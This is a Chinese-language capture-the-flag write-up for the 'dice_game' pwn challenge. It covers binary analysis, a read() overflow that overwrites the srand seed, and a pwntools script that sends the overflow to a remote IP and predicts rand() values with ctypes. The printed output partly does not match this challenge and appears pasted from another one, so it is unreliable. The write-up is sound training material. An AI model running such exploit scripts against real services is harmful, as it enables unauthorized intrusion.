攻防世界 dice_game
dice_game
dice_game
(1)
motaly@motaly-VMware-Virtual-Platform:~/桌面$ file game
game: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=25432b87a385dc5acec03263b2e3746f287ed159, stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=game
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 3 game
(2)
用ida打开,无法反汇编,看main函数的汇编码
__int64 __fastcall main(int a1, char **a2, char **a3)
{char buf[55]; // [rsp+0h] [rbp-50h] BYREFchar v5; // [rsp+37h] [rbp-19h]ssize_t n49; // [rsp+38h] [rbp-18h]unsigned int seed[3]; // [rsp+40h] [rbp-10h]int n50; // [rsp+4Ch] [rbp-4h]memset(buf, 0, 0x30uLL);*(_QWORD *)seed = time(0LL);printf("Welcome, let me know your name: ");fflush(stdout);n49 = read(0, buf, 0x50uLL);if ( n49 <= 49 )buf[n49 - 1] = 0;printf("Hi, %s. Let's play a game.\n", buf);fflush(stdout);srand(seed[0]);n50 = 1;v5 = 0;while ( 1 ){printf("Game %d/50\n", n50);v5 = sub_A20();fflush(stdout);if ( v5 != 1 )break;if ( v5 ){if ( n50 == 50 ){sub_B28(buf);break;}++n50;}}puts("Bye bye!");return 0LL;
}
看到这里开始有一个read函数,向buf读入最大80个字节,但buf大小为55,所以存在缓冲区溢出
在下面有用srand函数设置伪随机数生成器的种子,参数是seed
然后进入循环,有一个sub_A20函数给v5参数
__int64 sub_A20()
{__int16 n6; // [rsp+Ch] [rbp-4h] BYREF__int16 n6_1; // [rsp+Eh] [rbp-2h]printf("Give me the point(1~6): ");fflush(stdout);_isoc99_scanf("%hd", &n6);if ( n6 > 0 && n6 <= 6 ){n6_1 = rand() % 6 + 1;if ( n6 <= 0 || n6 > 6 || n6_1 <= 0 || n6_1 > 6 )_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");if ( n6 == n6_1 ){puts("You win.");return 1LL;}else{puts("You lost.");return 0LL;}}else{puts("Invalid value!");return 0LL;}
}
这个函数主要是看我们输入的值n6和随机生成的值n6_1是否相同,相同就会返回1值给v5
当v5等于1时,就进入if判断中,当我们50次都成功时,有一个sub_B28函数,会输出flag
int __fastcall sub_B28(const char *a1)
{char s[104]; // [rsp+10h] [rbp-70h] BYREFFILE *stream; // [rsp+78h] [rbp-8h]printf("Congrats %s\n", a1);stream = fopen("flag", "r");fgets(s, 100, stream);puts(s);return fflush(stdout);
}
(3)
总的这个程序是一个小游戏,当我们输入的值与程序随机生成的值相同时,算赢得游戏,赢了50次后,就会给flag
思路:
1.在程序开头有一个输入点并存在栈溢出,我们可以利用这个点来改变随机数生成器的种子,使其相同
原因:
rand函数生成的随机数并不是真正意义上的随机,而是伪随机,当设定的种子相同时,使用相同算法生成的随机数序列就是固定的
当种子相同后,本地和服务端的伪随机数生成器就会从相同的起始状态开始工作,进而生成相同的随机数序列
看堆栈情况,可以看到输入点buf离seed距离是0x40,所以通过覆盖0x40来改变seed值
-0000000000000050 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000050 // Frame size: 50; Saved regs: 8; Purge: 0
-0000000000000050
-0000000000000050 char buf[55];
-0000000000000019 _BYTE var_19;
-0000000000000018 _QWORD var_18;
-0000000000000010 unsigned int seed[3];
-0000000000000004 _DWORD var_4;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables
2.然后我们要导入ctypes库,来使得在python中实现对C语言函数的引用
完成随机数的生成
(4)
编写
from pwn import *
from ctypes import *io = remote('223.112.5.141' ,52524)
libc = cdll.LoadLibrary("libc.so.6")payload = b"a" * 0x40 + p64(0)
io.sendlineafter("name: ", payload)
list = []
for i in range(50):list.append(libc.rand()%6+1)
print(list)
for point in list:io.sendlineafter("point(1~6): ", str(point))
io.interactive()
(5)
连接得到flag
[*] Switching to interactive mode
[DEBUG] Received 0x1a bytes:b'Please enter your string: '
Please enter your string: [DEBUG] Received 0x6c bytes:b'\n'b'Okay, time to return... Fingers Crossed... Jumping to 0x80485cb\n'b'flag{5bde2e60-3032-4e77-b8ad-371a2483f030}\n'Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
flag{5bde2e60-3032-4e77-b8ad-371a2483f030}
[DEBUG] Received 0x2b bytes:b'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive